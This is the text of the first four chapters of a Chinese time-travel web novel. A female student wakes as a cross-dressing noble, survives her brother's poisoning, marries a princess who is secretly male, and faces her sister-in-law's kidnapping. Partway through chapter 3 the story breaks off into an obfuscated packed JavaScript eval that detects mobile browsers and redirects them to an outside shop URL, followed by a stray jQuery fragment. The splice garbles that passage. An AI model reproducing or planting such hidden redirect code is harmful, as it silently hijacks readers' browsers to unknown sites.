《女驸马穿越手记》 1. 状元驸马 韩濯是伴着嘴里古怪的药味苏醒的。 第一眼见到的便是一张沟壑遍布的老脸,她脑子还是混的,偏头看去,自己躺着的哪里是宿舍里狭窄的床铺,这张床虽然称不上多么柔软舒适,但却雕花讲究,十分宽敞。韩濯尚未来得及思考,一阵恶心感从胃部翻涌上来,她根本来不及忍住,翻过身呕声连连,吐得昏天黑地。 那张老脸的主人原是个阿婆,见韩濯如此,哭道“造孽啊,造孽啊,到底还是亲兄弟呀,侯爷他怎么就这么狠心啊。” 韩濯在稍稍缓过来的当口,就着阿婆的手喝了几口水,她吐得眼前发花,有点锈住的脑子却飞速启动了,她不思考还好,一思考这具身体的记忆铺天盖地席卷过来,她顿时头部剧痛,一阵眩晕感让她又呕了起来,这一下连胆汁都吐得干净。 那阿婆一边哭一边给韩濯顺着背,韩濯吐完了,倚着床缓了缓,这具身体的记忆告诉了韩濯这阿婆是谁。 “赵妈妈,辛苦你了。” 赵妈妈一边抹眼泪,一边道“是苦了你呀二哥儿。”她又要说什么,却被一阵噎在喉头的悲意堵成了一片不知所云的呜咽,干脆不说话,又抽噎了起来。 韩濯被她哭得头疼,她脑子里刚被装了一堆记忆,只觉得仿若在梦中,韩濯狠狠掐了一下自己大腿,痛得差点叫出声,好在这妈妈忙着嗷嗷哭没有注意到她。 她这是…穿越了? 韩濯本来是21世纪根正苗红的大好女青年,985大学在读工科生,昨天刚刚考完本科期间最后一门考试,被同在戏曲社的同学们拉去庆祝。戏曲类社团庆祝能去干什么?无非是吃饭,看戏或是去唱K,当天他们没去剧院,反倒是去茶楼风雅了一把,茶楼戏台上唱的是之前韩濯未看过的一出戏《三美图》的选段。 韩濯大一加入戏曲社,其实一开始只是混混学分,参演过几回校园演出,虽然并不太上心但她天赋还不错,一张嘴还算能糊弄外行人。临塘市越剧是主流,韩濯虽然是第一次听这出戏,可这旋律太过抓耳,情节也生动有趣,比家喻户晓的黄梅戏《女驸马》多了一层新意,她竟然第一回就听了进去,拍膝摇头跟着哼哼,一口茶在嘴里没来得及咽,一个气口没换上来竟然呛了过去。 韩濯扶额,枉她聪明一世,穿越的方式竟然如此丢脸,她整理心情梳理起来自己目前的处境。 这具身体的原主韩濯,原是先英武侯之女,上边还有个倒霉大哥韩胤,她出生时天无吉兆,反倒像个扫把星降世,母亲难产,韩胤病重垂危,先英武侯子嗣凋敝,年岁也大了,韩濯本是个意外,他老人家膝下只有韩胤这么一个儿子,眼看着还要嗝屁,就算捡回一条小命怕是也难以长久。恐偌大家业无人继承,他便和韩濯之母于氏瞒下了韩濯的女儿身,对外声称英武侯老来得子,把这小女儿当做男儿培养长大,他二老没料到自己的儿子挺难杀,病了十几年竟然活到了他们二位双双去世,用事实证明当年那大夫的话全是放屁。韩濯实则是个女人的事实就这样被二位于五年前带入黄土,身边只有韩胤和零星几个老人知道真相,赵妈妈就是其中之一。 韩濯理到这里,声称自己吐得胃里难受想吃些粥,把赵妈妈忽悠走,开始心无旁骛地思考自己是怎么到如今这个狼狈的田地的。 那么简单来说,就是韩濯这个侯爵预备役没捡到漏,五年前韩胤袭爵,原主韩濯也并没有消消停停作她的闲散少爷,这丫头想啊“我武艺习得好,书也读得不错啊,如今武道是走不通了,但这么多年书不能白念啊,我去科举吧。”好么,这过五关斩六将一考就是状元,光是状元还不过瘾啊,琼林宴上一手骑射功夫百步穿杨,美名传遍了京城,皇帝老儿高兴坏了,要把自己女儿长宁公主嫁给韩濯。 …… 韩濯木然,你真是很有想法啊少女! 然后呢,韩濯就被自己亲哥哥阴了一把,这婚不管结不结,韩濯的真实身份早晚得出事,还不如一瓶砒霜结果了她性命,对外就说韩濯突发恶疾暴毙身亡,与金枝玉叶无缘,免得以后夜长梦多,让整个侯府蒙上欺君之罪。要不是赵妈妈用不知哪里的偏方给她催了吐,韩濯估计刚穿过来就咽气了。 韩濯一时无言,人家穿越要么自身精通史学,要么自身配备系统小帮手助力开金手指,而她一个工科女大,毕生所学在古代哪里有市场,更何况她高中就是一个理科生,六年前就不再接触什么文史类的东西了,对目前这个大齐的历史完全是一窍不通,根本没有上帝视角。 哦对,最重要的是,无论韩濯今生还是前尘,都她奶奶的是个货真价实的女人啊。 韩濯向天竖中指“她奶奶的要玩死老娘吗?我一个女的拿什么做驸马!” 韩濯还未思考好自己下一步该怎么办,一个身形清瘦的男人从房门口走进了房间。 这男人非常年轻,称得上十分英俊,但眉宇间好似总是凝着一股沉郁之气,好像所有人都欠他一百万,正是韩濯的大哥韩胤。 韩胤见了她,竟然微微有些发愣,他这个妹妹自小毫无京中女儿娇柔温婉之态,争强好胜更胜于寻常纨绔,武艺文采从不让京中子弟,对他这个哥哥也少有恭敬,他从未把韩濯当做女孩儿家看待。更何况自小他身子羸弱只能看着韩濯跑马射箭,舞刀弄枪,比起韩濯,他更像是一个早晚要死的备胎废物,要说对她爱护,是半分没有的。 而如今韩濯刚刚劫后余生,眉宇之间还带着病气,眼中恍惚带泪,虽然还是男子的发式,但周身的气质都柔软起来,说是个清秀的少年自然是让人信服的,但若说是个英气的女孩倒也不为过,这倒是让韩胤第一次意识到自己有一个妹妹这个事实。 但这怜惜仅仅只是在韩胤的心头蜻蜓点水一般荡了一下,连波纹还没起,韩胤就大跨步毫不避讳地走了进来。 看清韩胤手中的瓷瓶,韩濯不由在心底大骂“我靠真是最毒男人心,有完没完,毒不死又来。” 大哥牌砒霜,量大管饱,童叟无欺。 古代三硫化二砷出于工艺原因确实可能是质量不高,但也架不住活阎王一次一次喂啊。 “兄长还真是薄情。”韩濯扯着嘴角勉强笑了出来。 韩胤声音没有丝毫波动“也莫怪我薄情,只怪你命不好,没投身成男人,你若是有朝一日被人发现真实身份,整个侯府都要跟着遭殃,我既承袭爵位,就必须顾全大局,我这么做,便是日后在地下见了父母祖宗也是问心无愧。” 赵妈妈刚端着粥碗走近,远远听见说话声吓得碗一扔闯了进来,难为她一把老骨头跑得如此快,赵妈妈上前跪在了韩胤脚边扯着他的衣袖哭天抢地“侯爷,侯爷啊,那可是你亲妹妹啊,你难道不记得你小时候罚跪,二哥儿为你求情挨板子的事了吗?就算不念骨肉血脉亲情…” 韩胤未等赵妈妈说完便打断冷漠道“当然记得,我还记得我是因为什么罚跪的呢,她把先生胡子剃了,转头就推在我身上。” 韩胤:…… 赵妈妈:…… 明显赵妈妈并不知道这其中秘辛,求情不成反而踩了雷。 “若是念旧情,那可说的就多了,你说是吧,阿濯。” 韩濯大脑疯狂运转,挖掘出了一堆旧事,什么卸松了韩胤轮椅上的轮子啊,骗韩胤吃了泻药就能站起来啊……韩濯冒出一阵冷汗,这小丫头真能作死啊,惹的是个记仇的活阎王。 韩濯定了定心神,觉得韩胤此举虽然冷血了点,但也不是完全不能理解,毕竟不是人人都是史铁生 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韩胤面上虽然松动,话却还是冷的“往事休提,你也并未做什么真正害我之事,倒也不必如此,只是婚事已经应下,大婚之日若东窗事发,这可是欺君之罪,我不可能拉着整个侯府赌今上的仁善。” “此生算我对你不住,你是聪明人,还是尽早做个了断。” 那装了毒药的瓷瓶滚到韩濯身侧,微微闪着恶毒的光,韩濯移开视线,直起身道“祖父是开国功臣,这英武侯府能有今日,也是父亲战场上真刀真枪拼杀来的,我就算再不懂事,也不会拉着整个韩家下水。” “二哥儿!”赵妈妈惊叫。 韩濯按下赵妈妈道“大哥想必也知,这与长宁公主的婚事不得不应承。若要推拒,难免引得圣上多想些什么。大齐边关大半都是韩家军驻守,大哥又已经娶妻,皇家若不与我结姻亲,日后又会拿韩家怎么办?大哥你胸怀大略,如今沉疴已愈,自然想施展一番抱负。” “我娶了公主,若是入朝参政,估摸也只是一些无关痛痒的闲职,我本就无意官场仕途,但与皇家结姻亲可是无上荣耀,濯愿为韩家铺路,助兄长光耀我韩家门楣。” 韩胤冷笑“你还真把自己当男人了?” 韩濯所言倒是句句属实,可是这一切都建立在韩濯是个男人的基础上。 韩濯微笑“兄长放心,我自有办法。” “你能有什么办法?” 韩濯厚着脸皮答道“一些乡野村夫流传的奇技秘法罢了,闺房之事,兄长还是莫要盘问,怕污了您的耳朵。” 韩胤脸色青白红黄变换,被韩濯的不要脸惊到了,甩下一句“寡廉鲜耻”便走出了房间。 韩濯知道这第一关算是过了,擦了擦额上冷汗,刚刚勉强挺直的身板颓然松了下来。 赵妈妈刚刚见证兄妹俩一番交锋,心脏差点跳出来,慌忙把韩濯扶到床上躺好,道“二哥儿你真有办法?” 有个屁的办法,韩濯想道,但自己是看了这出戏穿越过来的,应该算是手握剧本吧,顺着剧本把这出戏演完是不是就能回去?虽然目前看来自己的身份背景和戏文完全不同,但这出戏得有着公主才唱得下去,她就赌那公主是个蕙质兰心的小可爱,能帮忙让自己苟到大结局,而不是成为第一集就送了命的倒霉蛋。 再说死了也就死了,说不定死了她就回去了,她才不信一口茶就能把她呛死。 话虽如此,来都来了,还是好好活着先。 眼前又开始发花,熟悉的眩晕感又涌上来了,赵妈妈在一旁焦急地喊“二哥儿!二哥儿!” “粥……”低血糖的韩濯晕过去前弱弱道。 2. 风雪故人 这日韩濯下了朝,刚出宫门便看到崔倍在角门处等他。 崔倍字子盛,乃是韩濯昔日同窗好友,出自世代书香清流之家。二人皆为林学士的学生,兼有同门之谊,此人是个不折不扣的正经人,韩濯虽然出了名的厚脸皮,儿时就性子顽劣,但在崔子盛面前装得十分端方,只不过私下里一直喊崔倍柳腰老母,这柳腰是说崔倍此人生得弱质纤纤,老母是说这货每日为这个操心为那个烂肺,比亲娘还啰嗦。 吐槽归吐槽,韩濯深知崔子盛待她真心实意,有这样赤子之心的人做朋友,是她的福分。 “清之,我上个月从五台山回来,去见了先生,他老人家托我把一句话带给你。” 韩濯点头,“子盛请讲。” “兰生幽谷,不以无人而不芳。老师说仕途还长,不可妄自菲薄,还是要珍重己身。” 韩濯失笑,知道一定是自己病了半月的消息传到老师耳中,难为林弘毅老先生一把年纪已经还为她操心,心下愧疚“难为老师了,山中清净,老师致仕前就警告我,说我性子闹腾让我少来打扰,这回还是搅扰了他。听说老师身体抱恙?” “只是年纪大了脾胃不和,无甚大事。” 崔倍看着韩濯眼神复杂“清之,你……” 韩濯觉得有必要解释一下误会,对他道“子盛放心,我只是贪食寒凉之物才病的,心中没有什么郁结,公主是金枝玉叶,还是个性子温雅的美人,我高兴还来不及。” 寒凉之物指她倒霉大哥喂的砒霜。 韩濯转头去看崔倍,不看不知道,一看吓一跳,柳腰儿好像要替她好好哭上一通一般,她大为震撼,赶快手忙脚乱去哄。 “天爷,不知道的还以为是你倾心于公主,我夺了你的姻缘一般,不至于如此吧。” 崔倍抽了抽鼻子道“时运不齐啊,我就是替清之不平,你文治武功哪一个不是一顶一的好,却……” 崔倍记得韩胤袭爵那日韩濯来找他喝酒商议科举之事那天是如何的意气风发,如何一番壮言让崔倍这个性子向来规矩的人都豪饮三大白的。 韩胤袭爵,韩家不需要第二个武夫,韩濯弃武从文还高中状元明明是一顶一的好事,但是配了公主,依着今上的意思,怕是以后在朝中只是散官,若想施展什么抱负怕是难成了,日后估计要靠公主的食邑吃软饭。 “子盛慎言。” 韩濯左右看了看,都说崔子盛为人谨慎,怎么在皇帝眼皮子底下就敢这么说话。 “我所言句句属实,劳烦子盛开解我了,公主下嫁韩家,当然是我想都不敢想的好事,我本就无意仕途,科考入仕也不过是想争一口气,如今我功成名就,又解决了婚姻大事,我有什么不满的呢。” 崔倍明显是不信的,当然,他认识的韩清之自然不是眼下的韩濯,韩濯虽然脑子里有着这小丫头的记忆和一身文韬武略,思考的却是怎么通关,想起此事韩濯就觉得郁闷,她前生辛辛苦苦考上名校,又卷了三年多好不容易拿到保研名额苟到大四,以为终于可以好好感受一下自由的大学生活,一朝却突然重开,而且还每日顶着摇摇晃晃的头颅,不知什么时候被发现就要人头落地。 送别崔倍这些琐事暂且按下不表。 安平一十七年六月十五,长宁公主出降。 京城大道上繁花若云,笙音入尘,凤乐阵阵,一派举国欢庆之象。 先英武侯之子与长宁公主联姻,乃是一等一的大喜事,这桩婚礼的主人又都是京中一等一的风流人物,韩濯未及加冠便高中状元,文武双全少年成名自不必讲,那长宁公主亦是家喻户晓。 长宁公主乃是先惠妃唯一的血脉,可怜幼年丧母,受高僧点化,仅仅四岁的年纪便自请去京郊普化寺带发修行,传说长宁公主天生眉心一点红痣,生母惠妃娘娘又是修行人,长宁公主便是生于观音座下的胎里素,她在普化寺修行五年,大齐也风调雨顺了五年,百姓本不知皇家还有这么一号人物,但长宁公主回宫时,圣上感其纯孝,欲加赐食邑一千,可长宁公主进言道:“天家富贵皆为百姓供养,回宫前儿臣见过刚从晋州云游归来的师兄,听闻晋州今年大旱,收成不好,百姓承担不起赋税,儿臣不必多要这一千食邑,父皇仁慈,只需今年免了晋州一年赋税便是了。”圣上一查,果真如此,便依长宁公主之言,自此长宁的美名便传扬民间。 说实话,韩濯心里一点底也没有,她在这段时间以来把有关长宁公主的信息都搜集了起来,但明显在长宁公主回宫前她和惠妃娘娘都不算得宠,连惠妃的妃位都是死后追赠,韩濯实在拿捏不定这位公主性情到底如何,听传闻,这位公主倒是仁义人,想必这位金枝玉叶定能体谅自己,不至于让自己掉了脑袋。 话虽如此,韩濯还是紧张得要命,话术在嘴边过了好几遍,手心都出了汗,面上还是游刃有余的样子,装得韩胤都觉得自家妹妹实则真是个男人了。 诸位有所不知的是,这当了新郎官的韩濯和那花轿中的新娘怕不知是谁更紧张些。 宋青瑛记得很清楚,京城难得有那样冷的冬天,鸟雀不语,雪落有声,天地一白。 倚梅园的池水寒凉刺骨,拼命挣扎间,带着冰碴的池水疯狂地割入肺腑,他像砧板上的鱼肉,被不知名的人制住脖颈,扣在自己身上的手仿佛铁爪,濒死之际他在水中勉力睁眼,视野也因缺氧而黑白交错,他控制不住地痉挛。而随后,肩颈上的桎梏忽然松开,他未来得及挣扎起身,整个身体就被推进了池水中。 他不记得后来发生了什么,或许他昏过去了,或许没有,总之,再有记忆时,他被抱在一人怀中,那人一身素服,手腕看上去有些伶仃,拇指关节上一颗红痣耀眼,怀抱却是坚实可靠的。他视线还没恢复清明,模模糊糊看见那人下巴精巧的轮廓,一滴冷水自上滑落而下。似乎抱了他奔走许久,呼吸有些急促,宋青瑛冷得僵硬,用尽全力才在人怀中微微动了一下,那人低头对他说了什么,他没听清,视线随着那人的脚步一摇一晃,随后就筋疲力尽坠入意识的深渊,却是多年少有的安宁。 轿子突然左右摇晃几下,宋青瑛从回忆中回过神,被满目的红刺了目,轿子停了下来,他深深呼了一口气,不多时,一只修长又骨节分明的手伸了进来,见了拇指上那一颗红痣,宋青瑛忽然有些失措,他盯着那只手看了半晌,似乎那是梦中的什么事物。 韩濯。 他在心中默念那人的名字,过往和今夕倒错来复,迷茫中竟然喜忧参半。 久久没有得到回应,韩濯有些疑惑,她用只有两人能听见的音量轻声道:“殿下?” 宋青瑛回过神,稍稍定了定,执起扇子掩面,将手递给韩濯。 接触到韩濯那一块温热的皮肤,宋青瑛觉得自己的手上一阵麻意传到了四肢百骸,如同探入了一个他不该奢想的梦。 韩濯握住公主的手,有些脸热,前世母胎单身,今生也是头一回结婚,心虚之中还抽出空害羞了一下,但隔着扇子看见这豆蔻年华的小公主,只觉得新中华万岁,这封建年代包办婚姻盲婚哑嫁简直祸害人家小姑娘。 三拜后送公主入了百子帐,韩濯还需应酬,大婚之日被一帮认识不认识的人闹着敬酒,最后还是韩胤怕她玩脱了放她去照顾公主。 别看韩濯人前装成大瓣蒜,实际在门口踟蹰许久,最后终于下定决心,伸头一刀,缩头一刀,咬咬牙进了门。 喜婆正在边上候着,床上洒了红枣,花生一类,念了几句吉祥话,又引二人饮了合卺酒,韩濯赏了银,喜婆子便欢天喜地走了,推杯换盏的声音已经听不见,屋中只剩二人,韩濯心都要跳出来了,先瞥了一眼床头铜镜,自己的样貌和前世无二,应该还是在女孩里蛮吃得开的,她手有些抖,先 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宋青瑛片刻开口道:“确实是宫宴见过,驸马射得一手好箭。” 韩濯微微放下心,心中暗念方才宋青瑛的表情是错觉,一板一眼道:“殿下抬爱了。” 宋青瑛挣扎片刻,到底没忍住,又问道:“那墨玉扳指可还好用?” “有劳殿下…啥?”韩濯猛地一激灵,那墨玉扳指她颇为喜爱,可很少拿出来用,旁人很少知道她还有这么一件扳指,而这扳指的来路,倒也称得上一段善缘。 看着宋青瑛融到花钿中的一点朱砂,她忽然想了起来。 安平一十二年隆冬,她在一夕之间父母双亡的境地里应召入宫,阴差阳错救了一个落水的稚子,那扳指就是她出宫前被救的孩子所赠。 长宁公主冲她笑笑,韩濯万分惊喜,这惊喜和重逢没有半分关系,她只是觉得误打误撞,自己早就和小公主结下善缘,看来公主这一关胜算很大。 “竟然是殿下……”韩濯发自内心地喜形于色,胡诌道:“一转眼都这么大了,那扳指着实漂亮,臣舍不得用,一直好好收着,若是殿下不提起,臣还真的忘了这茬。” 韩濯这厢单纯地觉得自己抱到了能帮自己的大腿,而宋青瑛这边,确是真心实意地仰慕韩濯已久。少年英才,良将之后,救命之恩这三重滤镜让韩濯在宋青瑛心中被高高奉上了神坛,私下里不知从各种渠道里搜刮了多少韩濯的文章,他本来就欠缺的鉴赏能力在韩濯这降低为零,写得好的写得烂的照单全收。韩濯常去什么酒楼,爱吃什么口味也打听得有鼻子有眼。 总之在宋青瑛这里,韩濯就算造了反他也觉得是他那个少有谋面的皇帝爹有问题。 “救命之恩难报,驸马还是叫我阿瑛便好。” 韩濯应了下,二人之间又重归一片尴尬的静默,韩濯煎熬半天,哪里知道心虚的不止自己一个,还有个假女儿长宁公主。良久她终于咬咬牙坦白,低声道“得罪了,臣有一事,还要请殿下帮忙。” 宋青瑛刚欣喜自己能帮上韩濯一二,“在所不辞”话音还没落地,便被韩濯要解衣裳扣子的动作惊得一震。 韩濯想得很单纯,她觉得电视剧头发一散就知男女实在扯淡,决定来点实在的,解衣裳给“小姑娘”看看自己是个货真价实的女人。 宋青瑛吓得脸色煞白,他虽不是女子,却也是今日才知男女之间到底是怎么一回事,一下子弹了起来,韩濯解到一半看到小公主如此反应便伸手去扶,一个不留神被宋青瑛的裙摆绊倒了,直接压着公主倒在床上,正好撑在人家身体两侧,是个看上去就有辱斯文的姿势。 宋青瑛小脸煞白,躺在床上去推身上的韩濯,失声叫道“我,我来癸水了!……” …… 3. 山雨欲来 片刻后宋青瑛简直想抽自己一刻钟前胡说八道的嘴,他被迫喝了几盏韩濯塞给他的热茶,大热天里焖得浑身是汗。他面皮薄又不好意思推拒韩濯的好意,实在是苦煞人也。 韩濯有些郁闷,鼓了好大的勇气坦白,搞得好像自己是个登徒子一般,她解释起来又很无力,只能暗暗祈祷小公主不要扣自己的印象分。 宋青瑛平复了下心跳,想起方才韩濯一脸视死如归的表情,联想起韩濯在民间一些被当成笑话讲的不入流的传闻,入仕前几乎形影不离同吃同住的同门师兄,成婚前病得直不起身半月,他看向韩濯低垂的眉眼,思路跑偏得越来越远,竟然替她不公了起来。 宋青瑛不是傻瓜,自然明白皇帝指婚的用意,先帝在位时便已经着力削弱当初随太祖皇帝白手起家的一干世家,韩家受到震动不大也只是因为大齐还需要老英武侯。如今的安平帝本事不大,没有先帝的手腕,联姻的目的傻子都看得清。 可是韩濯呢。 宋青瑛想道。 天赋异禀的天之骄子,文武双全的少年英才,年少失怙,祖荫的爵位轮不到她,她拼命争取的仕途又被裹着“圣恩”外衣的联姻断送去了,还有她不为世人所容的痴念。怕是日后即使同在朝堂,也只能形同陌路罢。 宋青瑛为韩濯难过得眼眶都红了,为韩濯编了个十分苦情的剧本,把韩濯因为自己大哥一碗砒霜而病的半月全都归到了这桩婚姻上。 “崔公子博闻强识,翰林院里也对他颇有赞誉,仕途必定坦荡。” 韩濯一愣,不明白为什么宋青瑛突然提起自己同届中举的同门好友崔倍来。 “驸马若是乐意,多走动走动无碍的,我其实,都知晓…” 知晓啥啊? 韩濯纳闷,但看长宁公主的表情,觉得自己才是落了信息的那个人。 “这桩婚耽误驸马颇多,我是知道的。”宋青瑛低头道:“你不喜欢我,不必勉强自己,我也并不想因着这一层反倒和救命恩人生了怨怼……” 韩濯听着不对劲,怎么从公主嘴里,自己和崔子盛的关系那么不清白? “崔公子是个好人,驸马和他言明,你二人未尝不能继续这一段缘分。” “什么?”韩濯觉得自己耳朵聋了。 宋青瑛立刻道:“我不介意的!崔公子虽是男子,但也是个值得托付之人… 驸马喜欢男人便喜欢罢,我亦无意与旁人结亲,驸马日后与谁相亲我也决不干涉,你我相逢缘分难得,当做兄妹相处也是很好的。” 啥? 韩濯如遭雷击,她其实早知道原主不拘小节了些,而民间最喜欢的便是编排西京这些世家大族的小姐公子们香艳情史,可韩濯这么多年来,从未和哪位姑娘有一星半点的暧昧关系,却常粘在崔倍边上晃来晃去,韩家二公子好龙阳的传闻便这么传了出去,虽然并没到人尽皆知的程度,却人人听后都觉得合理,人人听完都会意味深长发出一声“哦~”。 毕竟一个有名望的男人存活于世,必然要有那么一两个红颜知己来配他,如果他从头到脚闻不到一丝脂粉香气,那这男人要么身体要么脑子,必然是有一样是不那么入流的。韩濯扑朔迷离的取向,似乎很好地让西京众人在这个和他们没有丝毫关系的问题上自圆其说,乃至心满意足。 却没想到这小姑娘年岁不大,脑子里装了不知什么料,竟然听了进去。 公主你这信息太过生猛让本人消化一下先。 悬在脖子上的铡刀落下来,但砍歪了。 天才! 这公主简直是天才!韩濯眼含热泪。 她怎么就没想到还有这种解法呢? “驸马?” “哦...噢噢,殿下,那个,我......就是......”韩濯一向能言善辩,这一次嘴里全是乱七八糟的不知所云,脑子里信息太多,简直不知道该捡出来哪一个表达。 宋青瑛顶着一张糯糯的小脸一本正经叹了口气道“驸马不必多言,我都知晓的。” 谢谢你啊!! 韩濯热泪盈眶。 半月前,她还是普普通通的大学生,继成为候府公子,新科状元,驸马之后,她又有了一个新的身份——形婚男同。 不过。 在掉脑袋和当基佬之间选择,韩濯还是选择当基佬。 ...... 月明之夜,京郊西风凄紧。 万籁俱寂的夜被一阵慌乱脚步声打破。 仔细看来,竟是一个头发蓬乱的妇人在赤足奔走,隆起的腹部看上去已六月有余。 那妇人终于跑不动了,护着小腹细细喘息,似乎是觉得终于脱离了不知什么危险,终于失去了力气般滑落在地。 黑暗中突然露出了一声恶鬼般的低笑。 那妇人闻之变色,顿时冷汗涔涔。可双腿酸软实在站不起来,须臾间就被树梢飞身而下的人捂住了嘴。 “嘘......” 那人似乎格外欣赏笼中之鸟的情态,伸手拂过她被泪水打湿的发丝。 “真可怜啊。” 他似乎真心怜爱一般,指尖拂过妇人仍在颤抖不止的唇,月破云来,照亮了他一半妖媚一半好像融化了的脸。 竟是个半张脸的怪物! 妇人大声尖叫起来,半脸人突然厌恶极了一般,一改方才的温存,甩了她一巴掌:“闭嘴!” 那妇人被一掌打得眼前发黑,脸颊上印上四个鲜红指印,不敢再出声。她害怕地快要晕过去,偶尔发出一两声细弱呜咽。 “求求,求求你...” 那半脸人捏着她的脸颊,突然又好像捧着什么宝物一般,摸上了那妇人隆起的腹部。 “熟过了些,倒也将就......” 那妇人绝望地尖叫起来,凄厉的喊声破空,一轮弦月又被乌云遮蔽,重归死一般的寂静。 宋青瑛在噩梦中惊坐而起。 距离与韩濯新婚已经半月,他二人早就约法三章分了房,平常相处也确实与兄妹无异,韩濯把他当小孩子养,可能看他长得与同年龄的孩子相比过于瘦小,流水一般的鸡鸭鱼肉都进了宋青瑛的嘴,他小脸都圆润了些。 宋青瑛下床,望向窗外,韩濯自然是不在府中,她这个驸马都尉虽近乎是闲职,但韩濯闲不下来,最喜欢的是到那城西的市集买一堆乱七八糟的书卷来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14640117|156385||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最近韩濯还迷上了木工,照着营造书籍打了一堆小玩意,还送了自己一个造型奇异呲牙咧嘴的木凳,附带一个吹起来难听得像青蛙叫的哨子。 宋青瑛多少有些急,他冒着男子身份暴露的风险嫁给韩濯,可不是完全为了近距离接触自小仰慕的救命恩人。 小窗被轻叩两声,宋青瑛神色一凛,探窗查看,并无人踪迹,只是夹缝之间被人塞了一张字条,上面的字体十分幼稚,似是孩童用碳条所涂:亥时,烟雨楼。 韩濯并没有似宋青瑛所想又在西市闲逛。 候府和公主府虽然只隔着两条街,装潢气氛却大大不同,没有过多的仆从,房里也没几个讲究摆设,清冷冷如同雪洞一般,韩濯方一进屋,就被这气氛冰了个激灵,韩胤背对韩濯,擦拭着手中一个积灰的木匣。 “兄长。” 韩胤回头,这还是自韩濯婚后二人第一次相见,她不似平常,换了一身稳重的青色长衫,一改从前的张扬姿态,倒真像个尚且年轻的饱学之士,青衫飘飘风骨神,难怪西京那么多女子暗地倾心了。 不知怎地,韩胤看着这样的韩濯也觉得顺眼了很多,他轻咳两声,想起来此番是有事拜托韩濯的。 韩胤将手中木匣递给韩濯,一言不发。 韩濯有些纳闷,却也依言打开,看到木匣中的物事,心中猛地一动。 匣内两张泛黄的纸张,边角都已经缺损了,韩濯轻轻展开,其上唯有绝句一首。 “半生如梦梦还真,山河表里戟钺沉。 纵死魂向雁关去,孤光照我身后身。” 竟是先英武侯绝笔。 “这……” 韩胤叹道:“这便是父亲当初寄回来的书信,当时我与你置气,从未给你看过,如今我也要去断雁关驻守…” “喏。”韩胤又取了一张弓出来,那弓实在是好弓,花纹古朴,韩濯拨了一下弓弦,破空之音竟然隐隐似鹤唳之声。 “这是父亲的弓,想是留给你的,毕竟,你来做它下一任主人更合适。” 韩濯着实喜欢这把弓箭,可发源于原主记忆深处心里面那说不清道不明的情绪迫使她沉静下来。 韩濯收拾好心绪,定了定神问出关键:“好端端的,为何要去断雁关,出了什么事么?圣上准了?” 韩胤道:“半月后便启程,马上入秋,那漠北人又该不老实了,另外朝中不太平,我非去不可,只是你嫂嫂有了身孕,耐不住晋州路远,她也不愿回娘家去住,我想…若是方便,想拜托殿下和阿濯让她去公主府上住一阵子,她的日常花销,照例记在候府账上就好。” 韩濯喜道:“嫂嫂有身孕了?” “这倒是喜事,我回去和殿下商议一番,对了,嫂嫂知道你的安排吧。” 韩胤万年苦大仇深的脸竟然流露出一丝心虚。 “不会吧,你自作主张……” 韩濯话音未落,一女婢跌跌撞撞跑了进来,大喊道:“不好了,不好了,侯爷!” 韩胤皱眉:“做什么大呼小叫,成何体统!” 那丫头跌倒在地,来不及爬起便扯嗓子喊道:“夫人,夫人被人绑了!” “什么!” 4. 鬼巷尸匠 整个侯府和骄奢淫逸沾不了一星半点的边儿,韩胤那点俸禄大概都用来哄自家娘子开心了,金灿灿的珠串首饰就大剌剌摆在梳妆台上,这绑匪要么是胃口太大看不上这些东西,要么,就是瞎。 韩濯心中疑窦丛生,房间干净整洁没有挣扎痕迹,连床铺都是整整齐齐的无丝毫褶皱,只有一封血书被一把匕首钉于枕上,触目惊心。 韩胤嘴唇颤抖,那封血书被他拿在手里几乎展不开,他勉强平复下来,狠狠闭了下眼睛,从头细看。 “到底是哪里的歹人,会把主意打到韩家头上?”韩濯沉声道:“兄长,事有蹊跷,还是赶快报官,你岳父白大人定比我们更早找到嫂嫂下落。” 韩胤之妻白兰茵正是西京县令白逸之女,白逸早年丧妻,膝下只有这一个女儿,她自小颇受父亲疼爱,被娇养着长大。 韩胤向来很拿得定主意,此刻却哑了声,韩濯凑上去一看,那纸上所书并非什么威胁恐吓,而是一句诗:“官仓老鼠大如斗,见人开仓亦不走。①” “天理何在,天理何在......”韩胤喃喃道:“我韩胤从未贪私藏污,竟会有人如此攀诬,还劫走阿茵,岂有此理,岂有此理。” 这诗原是暗讽贪官中饱私囊,不顾百姓死活的,歹人劫走白兰茵,却留下这么一句诗,其中用意难以捉摸。 韩濯觉得不对:“兄长,这上面可有写什么别的?” “没有。” 韩濯在这方面很信得过自家兄长。韩胤此人,这辈子最在乎的就是名节二字,仨瓜俩枣的俸禄除了日常开销,给属下发完工资,再哄完老婆之后剩下的,买裤子都得差个裆,硕鼠形容他,也算真看得起英武侯府了。 “那既不为财,更不可能脑子坏掉了为了嫂嫂人,署上这么一句诗意欲何为?” 韩濯皱眉道:“兄长,可曾与人结怨?” “鬼知道!”韩胤没好气道,后来又觉得这个问题着实关键,沉声道:“未曾,但韩家究竟从前与人是否有龃龉,我也不全清楚。” 韩濯道:“其实单从内容来看,血书内容未必是写给兄长看的。” “什么?” “兄长是武官,目前也只在京中担任协助御林军操练一干事宜,和民生相关并不算密切,而写这诗的歹人,真正针对的想必另有其人。” ...... “韩大,你就是这么照顾我的茵儿的!” 年过花甲的白县令宛如颤抖的破风箱,嗓子里还带着陈年老痰,一边哆嗦一边朝韩胤喊叫,唾沫星子都喷到了韩濯脸上。 “岳父大人,小婿......” “你还敢说话!我告诉你,茵儿要是有什么三长两短,我拼着一把老骨头,也不会放过你!” 韩濯赶紧把椅子给白县令搬过了来,安抚道:“伯父保重,嫂嫂吉人自有天相,谅那贼子也不敢真的将英武侯夫人如何,现下当务之急还是尽快派人搜寻,莫要让意图不轨的贼子得逞才是啊!” 白县令一双老眼恶狠狠盯住韩濯:“这要你说,我早就派了人手,就算把西京城翻个底朝天也要把我的茵儿找出来,韩老二,你这小子莫要为你兄长说话,就算你是当朝驸马,我也未必要卖你这张老脸!” 